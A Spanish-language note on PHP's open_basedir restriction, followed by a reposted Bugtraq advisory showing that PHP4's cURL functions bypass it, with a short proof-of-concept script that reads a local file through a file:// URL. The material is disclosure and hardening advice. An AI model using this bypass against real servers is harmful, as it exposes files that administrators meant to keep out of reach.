A pedido de Universal SAC
RESTRICCIONES DE ACCESO AL SISTEMA DE FICHEROSLa directiva más útil en relación con la seguridad en PHP es open_basedir. Esta directiva indica a PHP a que ficheros puede acceder y a cuales no. El valor de esta directiva es una lista de prefijos de ficheros separados por una coma en Unix y por punto y coma en Windows.
Las restricciones configuradas aquí, afectan a los scripts de PHP y a los ficheros de datos. Se recomienda que se active esta opción incluso en aquellos servidores con un único sitio web, y debe de apuntar un nivel por encima del directorio raíz del servidor web, la configuración sería open_basedir = /var/www/
Es importante recordar la diferencia entre establecer las restricciones a un prefijo frente a establecer las restricciones a un directorio, por ejemplo:
open_basedir=/var/www permitiría acceso tanto a ficheros de /var/www como de /var/www2
... sin embargo si usamos ...
open_basedir=/var/www/ permitiría acceso a los ficheros que estén únicamente en /var/www/.
NOTA: Independientem
ente de esta consideración no es posible controlar todos los módulos de php que desarrollan terceros, FraMe publicó en
Bugtraq
PHP4 cURL functions bypass open_basedir como es posible eludir las restricciones de open_basedir mediante la extensión cURL PHP.
Extraido de: http://www.hacktimes.com
PHP4 cURL functions bypass open_basedir====================================================
Subject: PHP4 cURL functions bypass open_basedir
Author: frame at kernelpanik.org
Product: PHP4 compile with cURL (not tested in PHP5)
Vendor: PHP/Zend
Vendor URL: www.php.net
Tipe: Local
Risk: Low/Medium
=====================================================
PHP cURL functions bypass open_basedir
protection, so users can navigate through
filesystem.
For example, setting "open_basedir" in php.ini to
"/var/www/html" anybody can retrieve "/etc/parla"
using cURL functions.
== Proof of concept (curl.php)
<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo $file
?>
== Demo
$ cat /etc/parla
don't read please!
$ links -dump http://localhost/curltest/curl.php
don't read please!
== Release Timeline
No release timeline.
--
FraMe <frame (at) kernelpanik (dot) org [email concealed]>
http://www.kernelpanik.org
Extraido de: http://www.securityfocus.com